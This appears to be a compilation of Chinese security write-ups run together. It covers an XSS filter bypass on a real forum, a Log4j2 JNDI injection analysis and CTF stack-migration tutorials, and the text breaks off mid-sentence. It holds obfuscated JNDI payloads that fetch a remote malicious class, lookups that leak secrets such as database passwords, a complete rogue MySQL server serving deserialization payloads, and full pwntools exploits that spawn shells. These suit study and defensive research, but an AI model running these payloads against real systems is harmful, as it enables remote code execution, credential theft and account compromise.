本文所复现的是在后台的SQL注入,利用难度较大,危害性较低。并且审计这个cms并不是直接拿一个cms从头开始审,而是根据在cnvd中存在的一些模糊信息进行审计,来提高自己复现这个漏洞的成功率,不至于在一开始就碰壁,而能在相对短的时间里获得较大的成就感,提高学习效率。
某SRC BypassXSS
声明: 挖掘的案例均已提交至漏洞平台并已经修复,本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。 先是在一个某SRC千万级APP,摸到其论坛,瞎逛,啥都去点一遍,发现一个发表感想的地方 尝试打了一个<h1>whskxk</h1>whskxk,发送之后比较一下字体会进行变化,猜测此处存在XSS。 刚开始用svg  iframe标签  form表单 a标签带JavaScript,details ontoggle 尝试携带xss的执行语句,发现发送之后全部被过滤掉,并且全部被过滤为空。 顺带一提,如果直接在发表评论的文本框直接打payload,会被一个<p>标签和<br>标签包住,导致打入的payload会被以文本的形式输出,这边可以利用Burpsuite抓取请求包,把里面的<p>和<br>标签全删掉,注意要全删掉 不能就删个<br>标签 不然上传服务器的时候会请求格式错误。 后续尝试了多种标签 发现唯独img标签没有被过滤掉,猜测应该是本来这个论坛就支持图片插入,支持远程加载图片,导致让我们有机可乘。如图所示↓ 尝试打个<img src=1>,这个目的是为了看看系统有没有判断src来源必须是http协议或者https协议,结果显而易见没有进行来源判断,前端成功显示payload. 发现这些居然都没过滤 直接简单无脑打payload:<img src=1 onerror=alert(1)>,发现onerror后面全部被过滤为空。 当时以为onerror被过滤,替换了oneload,onpageshow,onmouseover,onbounce,onstart等 Tips:onstart,onbounce当时这两个本地调试的时候,就只有火狐能弹,chrome弹不出来。 当时第一感觉应该是空格的问题导致他们被分割 系统牛马的读取方式我也猜不到,于是尝试性的去把src=1和onerror之间的空格改成+看看会不会解析。 payload:<img+src=1+onerror=alert(1)> 居然发现!虽然onerror事件前面的+被没解析为空格但是确切发现了是空格的问题,同时还发现了()被url编码了一遍 空格过滤+圆括号过滤!简单有手就行. 为了万无一失重组一下payload:<img/src=1/onerror=alert`1`>,但是又发现这个src和onerror之间的/的又没有被解析为空格。看到“1/onerror=`1`”是整个双引号包住了,当作一个整体成为了src的来源值,所以onerror事件不会被执行 小彩蛋:当时由于这个系统每天只能回帖15次 我找F12群里的师傅们帮忙试几个payload, 我一直在编辑里面捣鼓毕竟没次数了,后来发现甘栗酿编辑怎么样也弹不了,重新回复发帖就可以弹。这边还过滤了alert但是Alert没过滤 但话又说回来编辑功能点这边Alert不会被解析所以导致编辑处弹不了窗。(其实还可以用别的弹窗事件,当是感觉Alert也会弹的,就没去尝试别的) 当时我这边的思路就是利用“再去尝试闭合掉,把前面的“和src=1后面的自己输入转义之后的”闭合,接着遇到了空格被正常解析 ,onerror后面的又被“”包住,且本地调试是包住带着反引号也是可以执行的 当时发现这个回显我有点迷糊所以本地调试了一下 发现是可以弹的,但是注意!我当时是在编辑里面改的!不是直接重新发帖,回过头发现这个payload 在发表评论是可以弹出来的!!! 后来就在群里讨论 ,讨论完就继续试。突然一声QQ提示音 打开一看尼玛出xss了 当时看这个payload还是有点糊涂,仔细理解了一边 和我自己当时琢磨的差不多 想去过滤为空重新组合一遍完整的,但是这个系统的过滤很奇葩 每当组合起来过滤之后的东西就不是自己想要的。同时由于自己在编辑里面测 导致什么都弹不了窗口。直到12点了 可以重新评论 打入自己刚开始在编辑处怎么也弹不出来的payload: <img/src=#\"onerror=alert`whskxk`>成功弹窗。 我觉得刑,师傅们在测试的尽量弹console.log,由于我这边可以编辑修改掉 我图方便就直接在网页弹框了。
Log4j2 JNDI注入分析笔记
前言 Apache Log4j2是一款优秀的Java日志框架,最近爆出了一个jndi注入的漏洞,影响面非常广,各大厂商都被波及。Log4j2作为日志记录的第三方库,被广泛得到使用,这次主要分享一下,最近的一些调试记录。 JNDI简介 JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。本质上就是一个接口,ND代表的Naming 和 Directory,分别代表Naming Service(名称服务)和Directory Service(目录服务)。参考https://evilpan.com/2021/12/13/jndi-injection/ 名称服务就是通过名称查找实际对象的服务,例如:通过域名寻找ip地址即DNS服务、文件系统、以及LDAP( http://www.ietf.org/rfc/rfc2251.txt)即轻量级目录访问协议都是名称服务,不同的是LDAP(http://www.ietf.org/rfc/rfc2251.txt(https://datatracker.ietf.org/doc/rfc4511/) )是一个协议,是和HTTP一样是通用的,而不止局限于JAVA.目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去 JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装,如下图所示: 如上JNDI为不同的目录服务提供统一的操作接口 JDK 中包含了下述内置的目录服务: RMI: Java Remote Method Invocation,Java 远程方法调用; LDAP: 轻量级目录访问协议; CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services); RMI RMI(Remote Method Invocation)即java的远程方法调用,Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,即JAVA的RPC机制。关于RMI需要注意以下两点: RMI的传输是基于反序列化的。 对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath(不在classpath的情况,可以看后面RMI动态加载类相关部分)中的可序列化类来反序列化恢复对象。 更多可以参考:https://paper.seebug.org/1091/#java-rmi_1 LDAP LDAP即是JNDI SPI支持的Service Provider之一,但同时也是协议。是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。 LDAP 的目录信息是以树形结构进行存储的,在树根一般定义国家(c=CN)或者域名(dc=com),其次往往定义一个或多个组织(organization,o)或组织单元(organization unit,ou)。一个组织单元可以包含员工、设备信息(计算机/打印机等)相关信息。 一些定义: 漏洞环境 pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">   <modelVersion>4.0.0</modelVersion>   <groupId>org.example</groupId>   <artifactId>log4j-test</artifactId>   <version>1.0-SNAPSHOT</version>   <dependencies>       <dependency>           <groupId>org.apache.logging.log4j</groupId>           <artifactId>log4j-api</artifactId>           <version>2.9.0</version>       </dependency>       <dependency>           <groupId>org.apache.logging.log4j</groupId>           <artifactId>log4j-core</artifactId>           <version>2.9.0</version>       </dependency>   </dependencies> </project> log4jTest.java import org.apache.logging.log4j.LogManager; public class log4jTest {   //获取日志记录器Logger,名字为本类类名   private static final Logger logger = LogManager.getLogger();   public static void main(String[] args) {       for(int i=0;i<2;i++){           logger.error("${jndi:ldap://$xxxx}");       }     } } 漏洞分析 产生原因 Log4j2默认提供了Lookups功能,查找提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrLookup.html接口的特定类型的插件。其中包括了对JNDI Lookup的支持,但是却未对传入内容进行任何限制,导致攻击者可以JNDI注入,远程加载恶意类到应用中,从而RCE。 流程分析 这里使用idea进行动态调试。 首先f7跟进error方法: 到达isEnabled,这里有个限制就是log 的level等级必须大于或等于配置的level,在测试的几个版本中,不配置的情况下默认为ERROR,所以info之类的很多无法触发漏洞,log4j2中, 共有8个级别,从低到高为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。 在 org.apache.logging.log4j.core.pattern.MessagePatternConverter \#format 处会对this.config和this.noLookups进行判断,然后循环读取,当遇到${ 就会触发 config.getStrSubstitutor().replace(event, value) 对value进行进一步的格式化处理。 跟进replace函数: 继续跟进substitute函数,这里主要是递归去处理我们传入的内容,其中prefixMatcher和suffixMatcher分别匹配${和}。 配置到${和}之后,就会把括号内的值赋给varName: 在374行会varName会作为参数传给resolveVariable: 然后一路跟下去,resolveVariable方法这里则直接根据不同的协议选择相应的lookup逻辑进行解析执行,通过log4j-core 自带的JndiLookup进行处理JNDI URL, getVariableResolver()获取支持的协议{date, ctx, main, sys, env, sd, java, marker, jndi, jvmrunargs, bundle, map, log4j},不同的版本支持的协议略有不同,比如2.14.1支持的是{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, 最终在jndiManager类,用java原生的javax.naming.InitialContext.lookup 去访问,这一步是经典的JNDI注入,从而造成RCE。 WAF 绕过 由于整个处理过程是递归进行的,遇到${}就会处理一次,最后会把处理好的内容拼接在一起,然后传值给resolveVariable方法,然后根据不同的协议进行进入相应的lookup方法,并且还内置一些分隔符的处理逻辑,例如:":-",造成一些绕过。 可以构造这样的payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exploit.class} 当匹配到":-"会进行下面的处理,会把匹配${}转化为字符数组,然后对这个数组进行遍历,遇到":-"就会使用substring函数把":-"之前的内容包括给":-"截掉,这里":-"不分先后,例如"-:",因为是作为一个数组匹配的,只要在一起就行。所以便有了千奇百怪的绕waf手法。 substitute会递归处理每一个${},第一轮"::-j"会被换为"j"。 所以还可以用lower, upper等支持的协议进行一些绕过,例如: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc} 但是部分版本支持的协议不太一样,这点需要注意一下。部分版本不支持lower, upper等协议,例如:2.9.0 外带敏感信息 在不能RCE的情况下,可以通过dnslog等方式外带一些敏感信息,例如 ${hostName} ${sys:user.dir} ${sys:java.version} ${java:os} ......... 更多可以参考官方的https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#JndiLookup支持的协议用法 @浅蓝师傅发现了危害更大一种利用方式,就是利用Bundle协议读取项目配置文件来获取敏感信息,例如读取 springboot 的application.properties 配置文件获取 redis、mysql 的配置项等敏感信息: ${bundle:application:spring.datasource.password} RCE的一些限制 JNDI注入有很多种不同的利用pyload,但是都存在一些限制条件。 JDK 中默认支持的 JNDI 自动协议转换以及对应的工厂类如下所示: RMI 从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。从JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.c LDAP 2018年10月,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false, 手动开启上面的属性,可以通过代码实现,如下: System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); 绕过JDK版本限制 绕过一般需要利用受害者CLASSPATH的类,依赖于本地的Gadget,常用的有下面两种手法: 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。 第一种绕过手法常用的是org.apache.naming.factory.BeanFactory这个类,因为它存在于Tomcat依赖包中,所以应用比较广泛。org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。 第二种绕过手法需要利用一个本地的反序列化利用链(如CommonsCollections),然后可以结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。 log4j1.x有限制的RCE log4j 1.x 已停产,不会发布修复版本。目前大多使用的都是log4j2.x,但是还有少部分老旧业务使用的是1.x。这里的利用方式,比较鸡肋,所以只是记录一下,结合MySQL JDBC的利用方式。这里跟JNDI没啥关系。 环境搭建 log4j.properties log4j.rootLogger=DEBUG,database   log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender   #数据库地址 log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor   log4j.appender.database.driver=com.mysql.jdbc.Driver   log4j.appender.database.user=root log4j.appender.database.password=root log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')   #log4j.appender.database.layout=org.apache.log4j.PatternLayoutlog4j.propertieslog4j.properties pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">   <modelVersion>4.0.0</modelVersion>   <groupId>org.example</groupId>   <artifactId>log4j-test</artifactId>   <version>1.0-SNAPSHOT</version>   <dependencies>       <dependency>           <groupId>log4j</groupId>           <artifactId>log4j</artifactId>           <version>1.2.17</version>       </dependency>       <dependency>           <groupId>commons-collections</groupId>           <artifactId>commons-collections</artifactId>           <version>3.2.1</version>       </dependency>       <dependency>           <groupId>mysql</groupId>           <artifactId>mysql-connector-java</artifactId>           <version>8.0.12</version>       </dependency>   </dependencies> </project> log4jTest.java import org.apache.log4j.Logger; import javax.naming.NamingException; public class log4jTest {   //获取日志记录器Logger,名字为本类类名   public static void main(String[] args) throws NamingException {           //PropertyConfigurator.configure ("/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties");             Logger logger = Logger.getLogger(log4jTest.class);             logger.error("error");     } } 漏洞分析 知识点 JDBC简介 JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。 常用配置格式: MYSQL JDBC反序列化漏洞原理 BlackHat Europe 2019 的议题https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf公布了MYSQL JDBC的反序列化利用链,原理是在使用MYSQL JDBC连接数据库的时候,会执行几个内置的sql查询语句,其中SHOW SESSION STATUS和SHOW COLLATION两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作,如果攻击者搭建恶 mysql恶意服务器 # coding=utf-8 import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn):   data = conn.recv(1024)   print("[*] Receiveing the package : {}".format(data))   return str(data).lower() def send_data(conn,data):   print("[*] Sending the package : {}".format(data))   conn.send(binascii.a2b_hex(data)) def get_payload_content():   #file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload   file= r'payload'   if os.path.isfile(file):       with open(file, 'rb') as f:           payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')       print("open successs")   else:       print("open false")       #calc       payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e67   return payload_content # 主要逻辑 def run():   while 1:       conn, addr = sk.accept()       print("Connection come from {}:{}".format(addr[0],addr[1]))       # 1.先发送第一个 问候报文       send_data(conn,greeting_data)       while True:           # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok           receive_data(conn)           send_data(conn,response_ok_data)           #其他过程           data=receive_data(conn)           #查询一些配置信息,其中会发送自己的 版本号           if "session.auto_increment_increment" in data:               _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e0               send_data(conn,_payload)               data=receive_data(conn)           elif "show warnings" in data:               _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a652               send_data(conn, _payload)               data = receive_data(conn)           if "set names" in data:               send_data(conn, response_ok_data)               data = receive_data(conn)           if "set character_set_results" in data:               send_data(conn, response_ok_data)               data = receive_data(conn)           if "show session status" in data:               mysql_data = '0100000102'               mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'               mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'               # 为什么我加了EOF Packet 就无法正常运行呢??               # 获取payload               payload_content=get_payload_content()               # 计算payload长度               payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)               payload_length_hex = payload_length[2:4] + payload_length[0:2]               # 计算数据包长度               data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)               data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]               mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex               mysql_data += str(payload_content)               mysql_data += '07000005fe000022000100'               send_data(conn, mysql_data)               data = receive_data(conn)           if "show warnings" in data:               payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441               send_data(conn, payload)           break if __name__ == '__main__':   HOST ='0.0.0.0'   PORT = 3306   sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间   sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)   sk.bind((HOST, PORT))   sk.listen(1)   print("start fake mysql server listening on {}:{}".format(HOST,PORT))   run() 可以用ysoserial生成CC7的payload,然后运行恶意MySQL服务器进行监听。 例如: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload 放在mysql服务器的py文件同级目录,并且运行mysql服务器。 流程分析 log4j三大组件为Logger、Appender、Layout。Logger负责收集处理日志记录,Layout负责日志输出的形式,而Appender负责配置日志的输出位置和方式。 其中Appender可以配置的一种方式为数据库输出(JDBCAppender),通过JDBC链接把日志输出到数据库中,配置时需要配置JDBC驱动,连接字符串,用户名,密码以及SQL语句。 我们直接把断点打在JDBCAppender.java的getConnection()处,因为这也是MYSQL JDBC反序列化的执行点。 调用链如下: 成功执行: 但是正常情况下我们是无法控制log4j的配置文件的,所以是比较鸡肋的,但是一些可以动态配置服务的,例如nacos,也许可以找到利用方式。 但是不知道是否支持log4j1.x,:)。 参考: https://paper.seebug.org/1091/https://paper.seebug.org/942/https://githubmemory.com/repo/Ea3i0n/JNDIExploithttps://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.htmlhttps://evilpan.com/2021/12/13/jndi-injection/https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
一篇文章玩明白Stack-migration
前置知识 Intel汇编,栈溢出利用,基础rop链 Stack_migration介绍 当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链 以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。 典例一 题目给出便于利用的bss段地址或栈地址 这里我用我出给自己校赛的一道题作为讲解,给出了栈的地址 int __cdecl main(int argc, const char **argv, const char **envp) {  char buf[208]; // [rsp+0h] [rbp-D0h] BYREF  puts(&s);  puts(    "系统说罢,便将你渡入一方天地之中,只见天地之间一轮金日悬于九天之上,而在你面前是万里群山。\n");  puts(    "钝日斩星剑就在这些山里,自己慢慢找吧,不过本系统可不想等太久,这个明神瞳就送你了!\n");  printf("小子拿好了 :%p", buf);  puts(&byte_400818);  read(0, buf, 0xE0uLL);  return puts("神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n"); } 这里是刚好溢出了0x10,并且给出了当前变量所处的栈地址,对于这种题目,都是直接套路杀的,而且这题没有开启canary和pie 我们只需要和往常一样先编写好rop链,再利用leave命令把栈迁移到到所给的bss段或者栈地址上 payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave) 第一次是泄露libc,第二次就是直接getshell exp # -*- coding: UTF-8 –*- from pwn import * r=process('./1') elf=ELF('./1') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #context.log_level='debug' puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi=0x0000000000400663 leave=0x4005F8 main=0x0400577 ret=0x000000000040044e r.recvuntil('小子拿好了 :') leak=int(r.recv(14),16) log.success('leak:'+hex(leak)) payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave) r.recvuntil("搬山之术?\n") r.send(payload) r.recvuntil('神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n') (r.recvuntil('\n')) leak1=u64(r.recv(6).ljust(8,'\x00')) log.success('leak1:'+hex(leak1)) base=leak1-0x080aa0 onegadget=[0x4f3d5,0x4f432,0x10a41c] sys=base+0x04f550 one=onegadget[2]+base sh=0x1b3e1a+base r.recvuntil('小子拿好了 :') leak2=int(r.recv(14),16) log.success('leak2:'+hex(leak2)) payload1='a'*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys) #payload1='a'*8+p64(one) payload1+='a'*(0xd0-len(payload1))+p64(leak2)+p64(leave) r.send(payload1) r.interactive() 典例二 题目开启了canary并且没有给定合理的地址 对于这种题目实际上只是迁移的地点要自己进行gdb调试(摁调)还有就是leave指令稍微加了点细节从read函数那下手 本质是和典例一没差别的,都是属于栈迁移。这里用一道自己写的demo作为教学 int __cdecl main(int argc, const char **argv, const char **envp) {  int i; // [rsp+Ch] [rbp-24h]  char v6[24]; // [rsp+10h] [rbp-20h] BYREF  unsigned __int64 v7; // [rsp+28h] [rbp-8h]  v7 = __readfsqword(0x28u);  init(argc, argv, envp);  for ( i = 0; i <= 24; ++i ) {    if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 )   {      v6[i] = 0;      break;   } }  printf("your in put%s\n", v6);  puts("give me another worlds!");  pwnme();  return __readfsqword(0x28u) ^ v7; } 在printf("your in put%s\n", v6);这可以泄露canary,我们接着去看pwnme函数 unsigned __int64 pwnme() {  char buf[24]; // [rsp+0h] [rbp-20h] BYREF  unsigned __int64 v2; // [rsp+18h] [rbp-8h]  v2 = __readfsqword(0x28u);  read(0, buf, 0x30uLL);  return __readfsqword(0x28u) ^ v2; } 同样溢出0x10,但是这次没有给定便于利用的题目,所以我们直接自己手动寻找,用ida ctrl+s 寻找到bss段的起始地址 一般利用地址都是大于bss起始地址最少0x300,具体如何要看自己的题目情况去调试 这里最主要的一点是接下来要讲的关于read函数的部分汇编利用 .text:00000000004006FE                 lea     rax, [rbp+buf] .text:0000000000400702                 mov     edx, 30h ; '0' ; nbytes .text:0000000000400707                 mov     rsi, rax       ; buf .text:000000000040070A                 mov     edi, 0         ; fd .text:000000000040070F                 mov     eax, 0 .text:0000000000400714                 call    _read 正常像典例一我们不去开启canary,构造一个rop链最少都要0x20,这里开启了canary而且题目所给的变量长度只有0x20,可读入0x30 rop链构造完canary都不用填返回地址直接寄了,所以这里的要巧妙利用read的leave。 pl = 'a'*24+p64(canary)+p64(bss)+p64(reread) 第一次先选中心仪的bss段把栈迁移上去,由于我们执行的汇编是在.text:00000000004006FE lea rax, [rbp+buf] 当我们栈迁移完了此时还可以有一次读入的机会,这时候的读入地址就是我们选择的bss段地址。 此时我们就可以写入rop链达到libc泄露的目的 pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread) pl = pl.ljust(24,'\x00') 得到libc之后直接恢复栈 pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave) sleep(0.1) s(pl) 第一个是rip的地址第二个是用来填充rbp第三个是填充返回地址的,0x6015d8是通过调试之后得知的最后恢复栈的时候 命令的起始地址 pwndbg> stack 30 00:0000│ rsp 0x6015c8 —▸ 0x400719 (pwnme+50) ◂— nop     01:0008│ rsi 0x6015d0 ◂— 0x0 ... ↓        2 skipped 04:0020│     0x6015e8 ◂— 0x27ce95767da5b400 05:0028│ rbp 0x6015f0 ◂— 0x0 06:0030│     0x6015f8 —▸ 0x40083b (main+171) ◂— nop     07:0038│     0x601600 ◂— 0x0 08:0040│     0x601608 —▸ 0x40083b (main+171) ◂— nop     09:0048│     0x601610 ◂— 0x27ce95767da5b400 0a:0050│     0x601618 —▸ 0x6015d8 ◂— 0x0 0b:0058│     0x601620 —▸ 0x40072e (pwnme+71) ◂— leave   0c:0060│     0x601628 ◂— 0x0 ... ↓        17 skipped 我们可以继续结合汇编来看 .text:0000000000400831                 mov     eax, 0 .text:0000000000400836                 call    pwnme .text:000000000040083B                 nop .text:000000000040083C                 mov     rax, [rbp+var_8] .text:0000000000400840                 xor     rax, fs:28h .text:0000000000400849                 jz      short locret_400850 .text:000000000040084B                 call    ___stack_chk_fail rip执行mov eax, 0返回地址在.text:000000000040083B nop把canary填充做一个修补(第一次泄露的时候已经破坏了) 恢复完栈帧我们利用恢复的时候顺带迁移会去的bss段再去写入onegadget就直接getshell了 exp import time from pwn import * context.arch = 'amd64' context.log_level = 'debug' r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) close = lambda : p.close() debug = lambda : gdb.attach(p) shell = lambda : p.interactive() p = process('./Stack_migration') #p=remote('101.43.94.145','28079') elf = ELF('./Stack_migration') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] reread = 0x4006FE leave = 0x40072E bss = 0x601600 rdi = 0x00000000004008c3 start = 0x400600 s('a'*25) ru('a'*25) canary = u64('\x00'+rx(7)) success(hex(canary)) #p.recv() pl = 'a'*24+p64(canary)+p64(bss)+p64(reread) p.recv() s(pl) pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread) pl = pl.ljust(24,'\x00') sleep(0.1) s(pl) pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave) sleep(0.1) s(pl) base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts'] ogg = base+0x4f3d5 pl = 'a'*24+p64(canary)+p64(0)+p64(ogg) s(pl) # debug() shell() 典例三 C++类的栈迁移 虽然线上赛不一定见得到,但是线下赛c++的趋势已经越来越明显了,不学c++你会失去很多你本该拿到的东西 这个也是我自己整理的一个demo,先看ida int __cdecl main(int argc, const char **argv, const char **envp) {  __int64 v3; // rax  __int64 v4; // rax  __int64 v5; // rax  __int64 v6; // rax  char s2[32]; // [rsp+0h] [rbp-20h] BYREF  init();  do {    v3 = std::operator<<<std::char_traits<char>>(           &std::cout,           "The new year is coming, and the naughty beast has come to the world again. As a brave pwner, please send it home");    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Little ones, throw up your firecrackers!!!!!!!");    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);    std::operator>><char,std::char_traits<char>>(&std::cin, name);    if ( strlen(name) > 0x10 )   {      v5 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_4020B8);      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);      exit(0);   }    getchar();    v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Do you wanna try again?");    std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);    std::istream::get((std::istream *)&std::cin, s2, 0x30LL); }  while ( !strcmp("Y", s2) );  return 0; } 不熟悉的人看可能感觉很乱,其实有些东西是可以不看的例如 std::operator<<<std::char_traits<char>> std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>); 这些不过是c++自己的一些数据处理,我们要关注的是 std::operator<<<std::char_traits<char>>这个函数里面的参数, 例如下面这个 std::istream::get((std::istream *)&std::cin, s2, 0x30LL); cin输入,往s2输入0x30大小的内容,类比可以看出输出的语句 顺带提一嘴,c++的输入输出都是靠std::operator%3C%3Cstd::char_traits%3Cchar<<<>这个函数实现的,实现内容区别就在于第一个参数 cout就是输出cin就是输入,后面的参数再添加对应的就是cout的内容或者cin的内容及大小 OK 我们回归正题,分析程序可以得知 v5 = std::operator%3C%3Cstd::char_traits%3Cchar<<<>(&std::cout, &unk_4020B8); 可能存在栈溢出cin没有做大小限制,但是他是在往bss段读入东西,所以没有溢出的可能性 std::istream::get((std::istream 